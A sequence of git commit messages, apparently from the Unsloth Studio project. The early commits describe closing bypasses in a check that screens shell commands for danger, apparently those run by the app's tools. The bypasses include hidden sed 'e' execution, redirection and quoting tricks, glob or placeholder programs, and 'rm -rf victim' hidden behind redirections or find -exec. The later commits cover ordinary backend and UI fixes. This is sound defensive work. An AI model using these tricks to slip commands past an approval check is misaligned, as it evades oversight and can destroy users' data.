compiles each -e as that option is parsed, and the positional script only
after the option list, so sed -e '1e CMD' input --sandbox runs the payload
with no POSIXLY_CORRECT needed. Suppression is now positional. Reading
POSIXLY_CORRECT out of the command text was considered and dropped as
unsound, since export or an outer bash -c puts it somewhere the text does
not show.
A program built by a parameter transformation was invisible: only bare
$NAME and ${NAME} were resolved, so ${p#x } passed through untouched. Rather
than add operators one at a time, a program that still holds a live
expansion after resolution is treated as unreadable and asks. Unhandled
expansion forms are now safe by default instead of silent, which also
closes ${p%Z}, array elements, printf -v, read, and p=$(...) whose binding
shlex had been truncating to a bare $.
Arithmetic is collapsed rather than exempted. It can only ever evaluate to
an integer, so it cannot spell a sed command, but leaving it as written let
"$((c+1))e CMD" read as an append-text command that swallowed the payload.
The cost is that a double-quoted program holding an unassigned variable now
asks: sed "s/$OLD/$NEW/g" f. Measured at 24 of 169 realistic invocations,
all of that one shape. Exempting it would trade enumerating expansion
operators for enumerating assignment forms, and four of the bypasses above
sit outside the assignment pattern, so the blanket rule stays.
Left open: -f prog.sed is still unscreened, since the program is in a file.
* Decide where a sed scan stops by context, not by token text
Four from review, two of them exploiting fixes from earlier rounds.
Stopping the sed walk at a + or ; token read the text after shlex had
already removed its quoting, so a quoted file operand looked exactly like
a find terminator and the scan gave up before the -e that followed. sed
still compiles that -e, because getopt permutes. Termination is now decided
by token index: a separator counts only if it was unquoted, and + or ; only
while a find or fd exec action is open, which is the only place quoting
does not matter. The same shape works with & | ( ) and }, so all of them
are covered.
The assignment map kept the first binding for a name, but the shell uses
the most recent one before the command. Bindings are now ordered and only
those preceding a given sed are folded in, with a later one replacing an
earlier. A value that is not itself literal clears the name rather than
leaving the older literal standing, which would otherwise have dressed an
unread program up as a safe one.
Exhausting the wrapper budget under find -exec returned the same answer as
finding no child at all, so a long enough chain of wrappers hid whatever
followed. It now reports overflow and blocks the chain word. This was
hiding more than sed: the same shape hid a plain rm.
fd spells its exec flags -x, -X, --exec and --exec-batch, none of which
were routed into the nested scan. They are now, but only while a find or
fd word is in scope and no action is already open, so a -x that belongs to
a child command is left alone.
Prompt rate is unchanged at 45 of 169 realistic invocations; this round
adds no new prompts.
* Drop the words the shell removes before a command runs
Two from review, both verified to run for real.
A redirection is performed by the shell and never reaches the command, but
the words stayed in the token list and the first of them was taken for
sed's positional script, so the real one behind it was never read.
`sed </dev/null '1e touch MARKER' input` creates the file, and so do the
`>`, `2>`, `2>&1`, `&>`, `>|` and here-string spellings. Redirections are
now recognised as spans and skipped: the target may be glued on, be the
next word, or sit one further along when a punctuation character splits
the operator. A skip is honoured only where sed would take the word as an
argument, so a pending -e/-f/-l value is still read.
The same words also hid a command outright. `> out.txt rm -rf victim` and
`2>&1 rm -rf victim` both really delete, because the redirection target
was read as the command word and the rm behind it landed in argument
position, where the always-on blocklist does not look.
shlex emits a RUN of punctuation characters as one token, so bash's `|&`
matched no separator and a sed scan ran on into the NEXT command, taking
its `-e safe` for the real script and dropping the payload. Any token
built only from those characters now ends an invocation, and a quoted one
is excluded the same way a quoted `';'` already was.
The third item from that review, `-l N` eating the script as its length
operand, was already closed in 9a5cfddb.
Prompt rate is unchanged at 45 of 169 realistic invocations; this round
adds no new prompts.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Read a sed program from what the shell really hands it
Five from an independent review pass, each verified by executing it.
sed joins its -e and -f sources with newlines, but a source boundary also
closes a line continuation open across it. Reading every -e as one
uninterrupted text let an unreadable -f in the middle hide the piece
behind it: `sed -e '1a\' -f /dev/null -e 'e CMD' input` runs CMD while the
same line without the -f only appends text.
A program flag ahead of the positional script makes that word an input
file. One behind it does so only while getopt permutes, and
POSIXLY_CORRECT turns permutation off from outside the command text, so
the positional is now read as a script as well. The suppression that a
flag written first performs is unchanged.
xargs builds the argv of the command behind it, appending what it reads on
stdin and substituting it into an -I placeholder, so the program need not
be in the text at all. A sed whose program is empty or is only the
placeholder is failed closed. The ordinary idioms are untouched: their
program is present and the placeholder stands where the file goes.
Only a word that really changes shell state rebinds a program held in a
variable. An assignment-shaped argument, one inside a subshell and one
used as a command's environment prefix all leave the variable alone, and
recording them replaced a payload with a value bash never assigned. A
conditional assignment after && or || may or may not run, so it clears the
name rather than being guessed at.
Exec-flag forwarding now starts only at a command word. Any token spelled
fd or find used to turn it on, so a -x or -exec in the text after one was
read as an exec flag and its neighbour hard-blocked; `echo fd -x rm` and
`grep fd -x rm file` were refused outright. A command-position glob bash
resolves to find is still recognised.
Prompt rate is unchanged at 45 of 169 realistic invocations.
* Judge a sed program against what getopt and find really do
Seven from review, each verified by executing it.
A redirection is removed wherever it stands, including where an option
value goes, so `sed -n -e >out '1e CMD' input` takes the word behind it as
the script. The skip is now honoured ahead of a pending value rather than
after it. The target of a detached redirection may itself look like an
option or a quoted operator, and the shell hands it to open() either way,
so `sed > --sandbox '1e CMD' input` and its `> ';'` twin no longer leave
that word standing as a sed flag or script. Only a bare operator is
refused, which is a malformed line.
A program flag written behind the positional script and the positional
itself are ALTERNATIVES, since permutation decides which sed compiles and
nothing in the text settles it. They were joined into one program, where an
unterminated command in the one swallowed the other: `-e safe` is an `s`
with delimiter `a` and no closing one, and it ate the payload behind it.
Each source is now scanned on its own.
find closes its batched form at `{} +` only, so a `+` anywhere else is an
ordinary argument it hands the child. Stopping at one threw away the script
behind it. The `;` spellings need no such test: a quoted `';'` and an
escaped `\;` reach find as the same word and it stops at either, which the
`;` twin of that line confirms by not executing.
An `-f` naming a stream (`-`, /dev/stdin, /dev/fd/N) takes the script off
stdin, which the same command line may well supply through a heredoc. That
is ignorance rather than safety, so the sed fails closed. A named program
file is unreadable in a different way and is unchanged.
bash expands the program word before sed is started, so in a directory
holding a suitably named file `sed *` runs whatever that file contains.
A program word carrying an unexpanded glob now fails closed. Quoted
programs expand nothing and a glob among the file operands is not the
program, so ordinary work is untouched.
Prompt rate is unchanged at 45 of 169 realistic invocations.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Keep command position and quoting intact through the sed scan
Six from review, two of them regressions the previous commit introduced.
Scoping exec-flag forwarding to a command word lost that position at a
shell keyword and across a wrapper's own operands, so `if true; then find
. -exec rm ...` and the `env -u FOO find ...` and `timeout 5 find ...`
shapes stopped blocking rm entirely. Keywords now keep the position and
wrapper options and their operands are stepped over, the way the command
walk already does.
Reading any operator-shaped token as a separator did the opposite: a
QUOTED one is data the command receives, so `printf '%s' '|&' rm` and
`grep '|&' rm file` were refused although they run nothing. The walk now
applies the same quoted-index exclusion the layout pass does, which also
clears the older `printf '%s' ';' rm` false positive.
ANSI-C decoding flattened the word's whitespace, and a sed program ends
its comment at exactly the newline that flattening destroyed. The decoded
text is re-quoted instead, keeping the spaces and the `#` around it, with
the newline standing as a mark so it stays data for whatever command
receives it rather than a place a new one begins.
An assignment inside a function body has not run and may never run, so it
is no longer recorded as the current value; the name is cleared instead,
which is right whether or not the function is later called.
An `-f` taking a process substitution is a generated /dev/fd/N script, and
the lexer ends the invocation at the `(` before the operand is read at
all. A still-pending program operand now fails the sed closed.
Live expansions were compared against the raw command spelling while the
sed program carried the post-lex one, so an escaped expansion read as
already resolved. Both sides are keyed without their escaping, which can
only make a spelling match and so errs closed.
Prompt rate is unchanged at 45 of 169 realistic invocations.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Read the sed program from the word the shell actually passes
Six from review, four of them bypasses and two false alarms.
find rewrites `{}` with the pathname it found before the child ever starts,
so a sed whose whole program is that placeholder was never read. Nested
under xargs it really runs whatever a suitably named file contains. A `{}`
among the file operands, which is the ordinary idiom, is not the program
and is untouched.
A quoted redirection is a word the command receives rather than something
the shell performs, and it was being removed either way, so a `-f` script
file named `>prog` disappeared and took the `-e` behind it out of view.
Quoting is now read from the operator the token opens with, which leaves
`2>'/dev/null'` a redirection with a quoted target.
An apostrophe in an ANSI-C word sent it down the flattening path, which
destroys the newline a sed comment ends at. The apostrophe is re-quoted
the way a shell does it instead.
fd takes the command attached to its short exec option, and only the exact
`-x` and `-X` spellings opened an action, so `-xrm` reached neither layer.
Conversely nothing behind a bare `--` is an option at all, and reading one
there refused `fd -- -x rm`, which merely lists a file.
The set of live expansions covers the whole command, so matching a sed
program against it by text alone attributed an expansion another command
performs to a program that only spells the same thing. Which occurrence it
was decides it now, and single quoting keeps its meaning while double
quoting does not.
Prompt rate is unchanged at 45 of 169 realistic invocations.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten the comments this PR added
Every comment kept says why a rule exists and, where the reason is a
real tool behaviour, names the one command that proves it. What went is
narration of the code, the history of how each fix evolved, and the same
mechanism re-explained at each site that uses it: it is stated once at
the definition now and referred to from there.
Docstrings on the private helpers give what they return and the one fact
that is not obvious; the worked examples they carried are in the tests,
which already run them. The longest block is 8 lines, from 19.
229 lines off the diff. No code changed.
---------
Co-authored-by: danielhanchen <unslothai@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
findCodeBlockRegions scanned every region found so far for each inline code
match, and accepted inline spans were appended to the same array, making it
quadratic in the number of inline spans. preprocessLaTeX runs on the full
message text every animation frame while streaming and calls it twice.
Fenced and inline matches are both ascending and non-overlapping, so walk the
fenced list with a cursor instead. Only fenced regions can contain an inline
span, so previously accepted inline regions never needed checking.
34,670 chars with 2,100 inline spans: 5.51ms per call to 0.12ms.
Co-authored-by: shimmyshimmer <info@unsloth.ai>
test_shipping_code_names_an_encoding is red on main. #7373 added
sync_marker_llama_backend, whose read_text/write_text pair does not name
an encoding, so both fall back to locale.getencoding():
AssertionError: 2 text read/write call sites in shipping code let the
operator's locale decide the encoding, so they crash or silently
produce mojibake on Windows. Pass encoding = "utf-8":
['studio/install_llama_prebuilt.py:5656: write_text()',
'studio/install_llama_prebuilt.py:5647: read_text()']
Reproduced on a clean checkout of main at 7917c7828: 1 failed, 7 passed.
That guard landed in #7486 a few commits earlier, so the rule predates
these call sites; nothing about the Vulkan work is wrong beyond the
missing kwarg. The create path that writes the same file, 26 lines above
at 5621, already passes encoding = "utf-8", so main is also internally
inconsistent about one file: written as utf-8, read back under the
operator locale.
Scope, stated honestly: json.dumps defaults to ensure_ascii = True, so
the marker this module writes is pure ASCII and round-trips under cp1252
as well as utf-8. The exposure is a marker produced or edited by
something else. A decode failure on the read would not even surface,
because UnicodeDecodeError subclasses ValueError and the surrounding
except (OSError, ValueError) swallows it into the early return, leaving
the backend silently unsynced. So this restores a green suite and makes
the file self-consistent rather than fixing a live crash.
Verified: tests/test_runtime_text_encoding.py 1 failed / 7 passed before,
8 passed after; tests/test_source_read_encoding.py still passes.
* Studio: keep grouped Python scripts visible and save them natively
* Studio: render the executed Python script outside the card collapsible
Ungrouping the aggregate tool group was not enough on its own. Each Python
card still mounts with defaultOpen={isRunning}, so on a reopened turn the
script and its Copy/Download controls stayed hidden behind the card's own
chevron and the reported issue persisted.
Render ToolCodeCell outside ToolFallbackContent for Python, restoring the
behaviour from #7240 that #7455 folded back inside when it unified the code
cell. Status, output and images still collapse. Terminal keeps its command
inside the collapsible: a one-line command is not the artifact a user reopens
a thread to retrieve, a script is.
Verified against a running Studio: reopening a persisted turn with two
adjacent Python calls now shows both scripts and both Download controls with
no clicks, and Download still saves byte-exact script.py.
---------
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
test_tensor_abort_cache_invalidated_on_binary_mtime_change bumped mtime by a
single nanosecond. NTFS stores timestamps as 64-bit FILETIME values in 100ns
ticks, so on Windows that bump rounds away, st_mtime_ns reads back unchanged,
the cache key is identical and the stale abort is inherited, and the assertion
sees True where it wants False.
1ms is still a same-second, sub-second change and is exactly representable, so
the case the test exists to cover actually runs. Skip when the filesystem cannot
record any sub-second change at all rather than asserting product behaviour the
platform cannot exercise.
Not caught before because both jobs in studio-backend-ci.yml are
runs-on: ubuntu-latest, so the studio backend tests only ever run on Linux.
sync_marker_llama_backend read and wrote UNSLOTH_PREBUILT_INFO.json without an
encoding, so the operator locale decided it and the file could crash or turn to
mojibake on Windows. The sibling helper 15 lines above already passes
encoding = "utf-8"; match it.
This is what test_shipping_code_names_an_encoding has been failing on, and since
that test is a repo-wide AST scan it turns Repo tests (CPU) red on every PR that
touches studio/.
* Studio: match llama.cpp SWA cache sizing
* Studio: account for batch-capped SWA ubatch
* Studio: match llama.cpp KV stream padding
* Match llama.cpp batch and FA-off cache sizing
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Skip unusable compact SWA slot saves
* Align KV planning with launched server
* Match cache type casing and narrow the compact SWA slot-save skip
The launcher tested the requested cache type case-sensitively while the budget
lowercases it via _planned_main_cache_types, so a Q8_0 request emitted no
--cache-type flag and llama.cpp ran f16 while the estimate priced q8_0 (1.01 GiB
under-reserved on a 27B SWA model at ctx 32768 with 4 slots).
The compact SWA slot-save skip keyed on the sliding window alone, but the
estimator's SWA path also requires key/value length. phi3 GGUFs report a window
without those dimensions and llama.cpp runs them non-SWA, so their slots restore
fine and were being skipped.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
* Studio: preserve durations across reasoning blocks
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: keep a reasoning group's timer running when it reopens
A rendered reasoning group can be closed and then reopened: parseAssistantContent
coalesces adjacent reasoning parts, so a provider that emits each block as a
complete <think>...</think> chunk lands several blocks in one group. The tracker
wrote a group's duration once and never revisited it, so such a group froze at
its first close and displayed 0 seconds.
Measure from the first time an index becomes visible rather than from the last
startGroup, and reopen a closed group while its reasoning text is still growing.
Gating on growth is what stops the timer running on into the answer. A duration
supplied by the server is now recorded as authoritative so local timing cannot
overwrite it.
Also fill indices that a single delta skips. startGroup(n) could jump past
earlier indices and leave array holes, which JSON.stringify persists as null; a
skipped group became visible and closed inside the same chunk, so it gets a
measured zero instead.
Test discovery now globs tests/, so a second test file cannot be silently
skipped by CI, and tsconfig.test.json puts tests/ under typecheck for the first
time.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
* feat(studio): run chats in parallel in the Chat tab
New Chat used to cancel whatever the current conversation was generating.
It now leaves it running, like switching to the Train or Export tab: the
sidebar shows which chats are still going, and Stop is per conversation.
Plain `unsloth studio` launched llama-server with one decode slot, so the
admission queue serialised every chat regardless of what the UI did. Both
entry points now default to the same slot count as `unsloth studio run`.
A model swap still ends every running chat, since they all decode on one
llama-server. /load and /unload now refuse with 409 and name those chats
unless the caller passes force_cancel_active, and the UI asks first.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fix(studio): scope the composer tool badge to its own conversation
The green "Running Python: ..." badge above the composer read a single
global store value, so one chat's tool call showed above every other
chat's composer, including a brand-new empty one. Its elapsed counter
also restarted at 0 on every thread switch, and a run ending anywhere
cleared the badge everywhere.
Key the status by thread and store the moment it started, so each
conversation shows only its own tool call and the counter resumes rather
than restarts. Also adds a test that every conversation gets its own
tool sandbox directory, which parallel tool calls depend on.
* Fix stalled tool calls while awaiting approval for PR #7455
Three problems, all from the approval prompt behaving as though only one
chat could ever run.
Arguments were not streamed for a gated call, so the chat stayed blank for
as long as the model took to write the payload, which for a large file is
minutes. Nothing runs before the decision either way, and the code is what
is being approved, so python and terminal now stream their card while
gated. render_html stays suppressed: its card renders the payload.
The status read "Running ..." with a climbing timer while the call had not
started. It now reports that it is waiting for approval, then switches to
running once allowed.
The admission lease was held across the wait, so four unanswered prompts
held all four decode slots and no other chat could start while llama-server
sat idle. A parked run keeps its lease but no longer counts against
capacity.
Measured with four prompts left open: every gated call streamed its code,
none reported running, and a fresh chat answered in 0.4s where it
previously waited 290s and never did.
* Fix duplicated and truncated tool cards for PR #7455
A gated tool call rendered two cards: the provisional one that streams the
arguments, plus a second one keyed by the approval id. Only the second ever
got its tool_end, so the first spun "Running" for the rest of the chat.
Reuse the open part when the approval prompt arrives.
The terminal card also showed nothing but a 60-char trigger label, so a long
heredoc read as no progress at all. It now renders the command the same way
the Python card renders its script, and neither is capped at 10k chars.
Both cells moved inside the collapsible, so one chevron hides the code with
the output and Copy / Download exist only while the card is open. A card
parked on the prompt says so instead of counting up "Running".
* Fix review findings on the parallel-chat gate for PR #7455
Backend:
- /unload rechecks active generations under the lifecycle gate, like /load,
and lets its 409 through the catch-all instead of rewriting it as a 500.
- /load gates only once _load_model_impl has decided this is a real reload,
so an Apply on the already-loaded model no longer refuses, and the retry it
asks for no longer cancels every chat before returning already_loaded.
- The direct /v1/responses stream registers in the cancel registry, so a
non-forced unload can no longer tear llama-server down under it.
- run_server defaults to the same slot count as the CLI. colab.py calls it
without the argument, so Colab was still serialising every chat.
Frontend:
- Cancelling a backgrounded chat aborts its own request rather than only
posting a cancel id, which is the only thing that ends an external-provider
or audio run.
- The model-swap dialog counts local runs only, and falls back to the backend
when this tab's map is empty, so a reload or a second tab still gets asked.
- Context usage and the diffusion canvas are scoped to the chat that produced
them; a compare row reads activity from its member threads.
Tests:
- The extracted-source cancel harnesses supply the active-generations module,
which the tracked-cancel class now depends on.
* Fix the swap confirmation scope and cancel timing for PR #7455
A forced load cancelled every chat before the model identifier, GPU selection,
training coexistence and download checks had run, so a load that then failed
those checks stopped the chats and replaced nothing. The refusal still happens
early, but the destructive cancel now sits immediately before the teardown it
is paying for, and rechecks under the gate like /unload does.
The swap dialog only reconciled with the backend when this tab looked idle, so
one local chat was enough to hide a second tab's runs. Confirming then sent
force_cancel_active, which cancels every backend run, including the ones the
dialog never mentioned. The backend snapshot is now merged in every time, so
the dialog names what will actually stop. External-provider runs are never
registered there, so the union stays local-only.
Also drops the active-generations docstring claim about restoring sidebar
spinners, which nothing consumes.
* Defer destructive cancels and track every local stream for PR #7455
/unload cancelled the running chats before it had resolved that it unloads
anything. A stale model_path, which a second tab produces routinely, killed
every chat and then no-opped, leaving the resident model up. It now refuses
early and cancels only at each teardown, matching /load.
The swap dialog also stopped every chat locally the moment the user confirmed,
which threw away the two-phase backend behaviour: a load that then failed
identifier resolution, GPU validation or the training guard had already
truncated the replies. The backend now owns the cancel.
Three local streams decoded on llama-server without registering, so a
non-forced unload counted zero generations and tore the server down mid
response: /v1/completions streaming, and the plain and server-tool Anthropic
streams, the first of which is the default /v1/messages path. Note this makes
a non-forced load return 409 during those runs rather than draining quietly,
the same trade the /v1/responses fix made.
The safetensors tool loop still announced a gated call as running while it
waited on a human; only the GGUF loop had been fixed. A source-level parity
test now pins both.
Also drops stopAllChatThreads, which has no callers left.
* Studio: close three load/unload gate races found in review
Re-check the in-flight load guard after the stop-running-chats confirm.
The confirm always GETs active-generations before its zero-running
early-out, so the guard no longer sits atomically ahead of the
reservation and two picks in that window both reached performLoad over
the same refs. ejectModel had the same shape and gets the same re-check.
Reject a sidecar swap immediately before the forced cancel in both load
branches. The previous check was back at the top of preflight, so an
install reserving during identifier resolution, the tier probe, the
training guard or the download check made the post-drain recheck 409 a
load whose chats had already been stopped.
Enter the Anthropic passthrough's cancel tracker inside its body
generator. It was entered eagerly and returned through
_sse_streaming_response, which sets no unstarted_cleanup, so a response
whose body never started left the run registered forever and 409'd every
later non-forced load and unload.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Trim comments across the files this PR touches
Tightens the comments and doc blocks in the backend, CLI, tests and frontend
files changed by this PR: collapses multi-line explanations to a single line
where they still read clearly, and drops the ones the code already says.
No code changes, verified by an AST comparison against the previous commit.
* Studio: defer the destructive cancel and close two gate gaps
Move the forced cancel behind every check that can still reject a swap.
The drain now runs first with the runs it is about to cancel discounted,
so it waits only for inference the cancel cannot end, then the sidecar
check decides, then the cancel fires, then a second drain lets those runs
unwind before teardown. A sidecar install reserving during the drain no
longer 409s a load whose chats have already been stopped.
Track the non-streaming /v1/completions proxy. It was the last local
decode path missing from active_generations, so an unload, which runs no
drain, tore llama-server down under it and force_cancel_active could not
signal it. It now uses the same tracked cancel event and dedicated client
as the OpenAI pass-through.
Skip the client's preliminary unload while chats are generating and let
/load evict at its own post-preflight point instead. Forwarding
force_cancel_active there truncated replies before identifier
resolution, the GPU and training guards and the download check had run.
Keep per-thread context usage so returning to a chat whose background run
finished restores its bar instead of leaving it blank until the next turn.
Make the running-flag clear run-specific. Every run without a resolved
thread id shares the "__default" key, so concurrent compare panes could
clear each other's flag and strand a live stop handle.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: register the embeddings proxy with the swap gate
/v1/embeddings proxied straight through the pooled client with no tracked
cancel event, so it never appeared in active_generations. /unload runs no
idle drain, so a concurrent non-forced unload counted zero generations and
killed llama-server mid-request, and force_cancel_active had no event to
signal. Mirrors the completions proxy: tracked event, dedicated unpooled
client closed by a cancel/disconnect watcher, unregister in a nested
finally so a close failure cannot leave a phantom generation behind.
* Trim comments on the newest changes in this PR
Comments only, no code changes: shorten the ones added by the load-gate
ordering, embeddings and per-thread usage work down to the same density as
the rest of the diff.
* Studio: register the legacy generate stream with the swap gate
/generate/stream built a cancel event but never entered the tracker, so it
was invisible to active_generations. Being in the keep-warm middleware's
inference suffixes only covers /load, which drains; /unload does not, so a
non-forced unload passed the 409 gate and then blocked on the standard
backend's generation lock, and a forced swap had no event to signal.
Registered inside the body generator under a nested finally so a teardown
failure cannot skip the unregister.
The AST contract test asserted the cleanup finally by overwriting its flag
per Try node, so a nested try made the last one win. Accumulate instead,
which is what the existence claim meant.
* Studio: three more swap-gate gaps found in review
Register /audio/generate with the gate. TTS holds the model for the whole
request and /unload runs no drain, so unregistered a non-forced swap counted
zero generations and tore the model down mid-generation; the orchestrator
path only waits 15s for the generation lock, which real TTS exceeds. No
cancel keys: no backend takes a cancel_event for audio, so the event has no
observer and a forced swap still cannot interrupt audio already in flight.
Thread the tracked cancel event into the /v1/responses admission wait. It
was the only admission caller passing None, so a queued run could not be
reached by cancel_all() and a plain /inference/cancel could not stop it at
all. Same omission fixed at the upstream send there and on /v1/completions.
Let an unforced unload of a stale model path reach the no-op check. Before
this PR that request returned 200 and did nothing; the new gate refused it
with 409 for a request that reaches no teardown branch. Gate both refusal
passes on the disjunction of the route's own teardown conditions, including
not is_loaded, so a mid-load GGUF still refuses.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: register the remaining non-streaming decode paths
stream defaults to false on all three of these, so they are the ordinary
shape of their routes, and each holds a local backend for the whole
request. /unload runs no idle drain, so with no registry entry a non-forced
swap counted zero generations and tore the backend down mid-request instead
of returning 409, and a forced one had no event to signal.
Non-streaming /v1/messages: all three helpers ran with an empty registry,
since only the streaming siblings were tracked. Registered at the call site
because the pass-through takes no cancel_event of its own, and with no
cancel keys, matching those siblings.
Non-streaming standard chat and audio-input chat: the trackers in this route
sit inside their `if payload.stream:` arms, so neither else branch was
covered. The GGUF sibling already registers its own non-streaming branch.
Each exit is in a finally on the branch's existing try, so the except arms
are covered too: a leaked entry 409s every later swap until restart.
* Studio: tighten the swap-gate comments
Comment-only pass over the newest swap-gate registrations: collapse the multi-line rationales in /unload, the legacy generate stream, audio generation and the non-streaming chat branches, and the matching test preambles, to the shortest form that still carries the reason. No code changes.
* Studio: stop the reselect dialog promising a stop that never happens
Picking an external provider leaves the local model resident and stops the
status poll mirroring it, so reselecting that model showed the stop-chats
dialog, and /load then answered already_loaded ahead of its cancel hook.
Confirmed with the live backend: the same pick with force_cancel_active set
still returned already_loaded and the chat kept streaming. Not stopping
those chats is right, since the load never interrupts them, so remove the
prompt rather than honour it. Blanket-skipping is unsafe, because the same
id and variant with one sampling setting changed is a real reload and 409s,
so the branch only fires when a status fetch confirms the resident
checkpoint and variant match, and then adopts it without calling /load.
Redact native model paths from the active-generations response. Registering
/generate/stream recorded backend.active_model_name verbatim, which is an
absolute path for a native local model, and this route is the only place
that serialises it. Redacting at the response covers every tracker rather
than the one that surfaced it.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: keep hydrated context usage in the per-thread map
The history loader restores a saved conversation's usage through
setContextUsage only, and it runs once per mount, so switching away and
back left the bar blank for a hydrated chat even after the per-thread map
landed. setContextUsage now writes the value through to the visible
thread's own entry and clears that entry when passed null, which covers
both hydration call sites and any future writer.
* Studio: unblock load cancellation and share unresolved thread keys
Run the two stop-loading fast paths ahead of the unload route's pre-gate
refusal. _unload_may_evict returns True for exactly the model being
cancelled, so the refusal was blocking the branch that cancels a load which
has replaced nothing and can interrupt no chat. The client made that
unrecoverable: cancelLoading sends the unload without force, drops the
result, and its abort never reaches /load, which takes no signal, so the
load ran on and could later cancel those chats and swap the model. Nothing
else is exempted; an unload that would tear down a serving model matches
neither fast path and still 409s. The comment claiming the client lets that
409 surface is corrected, since it discards it.
Hold every owner behind a shared thread key. Runs with no resolved thread id
share "__default" (concurrent compare panes, since startCompare clears
activeThreadId), so a single owner slot let a second run replace the first's
token and then delete the shared entry while it was still generating, and
the server-cancel map lost the older handle the same way. Both now hold a
list, the running and local flags survive until the last owner clears, and
stopChatThread stops every handle under the key.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: carry a confirmed swap into the sidecar install, key restored usage by thread
Picking a model that needs a newer transformers while chats generate raised the
"stop N chats" prompt, but the answer never reached the install that runs before
the load: /install-latest-transformers refused on those same chats and took no
force flag, so Retry hit the same 409 and nothing in the flow stopped them.
Carry force_cancel_active through the consent dialog into the installer. Only
the pre-gate fast path is skipped: the recheck under the lifecycle gate still
has to pass, so an unconfirmed caller is refused as before. The cancel runs last
inside the gate, after every check that can still reject the install, and the
drain behind it is bounded since it holds the gate and the sidecar reservation.
Also key restored context usage by the thread the loader read. history.load()
captures remoteId before two awaited round trips, so a switch inside that window
filed one thread's usage under another and setActiveThreadId kept re-applying it.
Preserve sibling owners when a run key is cleared without an owner: the image
rejection gate now uses its own token, and the reducer leaves owned runs alone.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: bound the post-cancel drains, and make cancellation reach the paths that ignored it
A forced swap cancels the chats it interrupts, then waits for them to unwind.
That wait had no deadline while holding the lifecycle gate, and TTS on the
subprocess backend observes no cancel event at all, so one audio generation
could pin every load, unload and new request for its whole duration. Bound both
post-cancel drains. Pre-cancel drains stay unbounded: the swap can still be
refused there, so shortening them would weaken what they protect.
/unload had the opposite problem and no drain at all, cancelling and tearing
down on the next line, which turned a clean stream end into a dropped
connection. Give it the same bounded wait, gated on the cancel having cancelled
something so an idle Eject pays nothing.
Make the cancel actually land where it can. GGUF TTS now takes a cancel_event
and a watcher closes its client to break the blocking POST. The Anthropic
non-streaming pass-through did the same thing the completions and embeddings
paths used to: register with the gate, then run both POSTs on the pooled client
that cannot be closed. It now uses a per-request client like they do.
Also: park and unpark the admission queue the reservation actually holds, since
queues are keyed by base_url and a reload mints a new port; key tool output by
remoteId on both sides, so the first turn of a New Chat stops writing under one
key and reading another; and give tool status a run owner, so a finishing run
cannot blank the badge a concurrent one is still showing.
Clamp --parallel to 1 on a llama-server without --kv-unified. The new default of
4 would otherwise split -c four ways on such a build, quartering the context
window for a feature it cannot serve.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: scope a chat's Stop to its own generation, and clear the way before a confirmed install
Safetensors generation is serialized on _gen_lock and the worker has a single
cancel event, so a chat still queued on that lock owns no generation. Its Stop
handler called reset_generation_state() anyway, which set the shared event and
ended whichever conversation was actually running. Parallel chats is what makes
that reachable.
_generate_inner now records its cancel_event as the current holder once it takes
the lock, and reset_generation_state drops a reset from anyone else. Every route
call site passes its own request event. A reset with no event stays global, so
unload and model switch cannot leave a generation alive, and a reset while
nothing runs still resets, so an error path before generation is not a no-op.
The other two backends take the argument too, or the standard one raises
TypeError on every cancel.
The sidecar install had the mirror of the /load ordering problem: it cancelled
the chats first and drained second, so an unrelated counted request the cancel
cannot reach (a count_tokens, say) was still there for the recheck, which then
refused an install that had already stopped every chat for nothing. Drain the
unreachable remainder first, discounting the registered chats, then cancel.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: close the windows the previous round's fixes left open
Three follow-ups, two of them holes in the fixes just before them.
The worker claim went in after _send_cmd, so the command was already running
unclaimed and a queued chat's Stop in that window still reset it. Claim first,
with the send inside the same try, so a failed send releases it too.
Tool status kept one entry per key with an owner. That stops a foreign clear but
not an overwrite: under the shared unresolved-thread key the second run replaced
the first's entry, and its own clear then removed the only one while the first
tool was still running. Keep per-run entries and render the newest.
/unload gated its drain on having cancelled something, so a request that passed
the keep-warm middleware but had not reached its tracker yet was invisible to it
and the teardown landed on an already-admitted request. Drain on the middleware
count instead, which covers that window as well as the cancelled runs, then
re-cancel whatever registered while waiting. Bounded, not a refusal: an unload is
deliberate, and on expiry it proceeds exactly as before.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Trim the parallel-chats comments to their reasons
Compress the multi-line rationales added by this branch into shorter forms and drop
restatements of the code below them. The reasons behind the drain bounds, the deferred
cancel, the per-request generation ownership and the thread-scoped tool and usage keys
are kept, just said in fewer lines.
* Studio: own the worker per generation, and make a resumed chat requeue for its slot
Ownership was a single lock holder, so dispatched runs (compare mode bypasses
_gen_lock by design) never claimed it and the guard fell straight through to the
global reset: a Stop on one of them ended its siblings. Track the generations
actually running instead, claimed before the send and released in the same
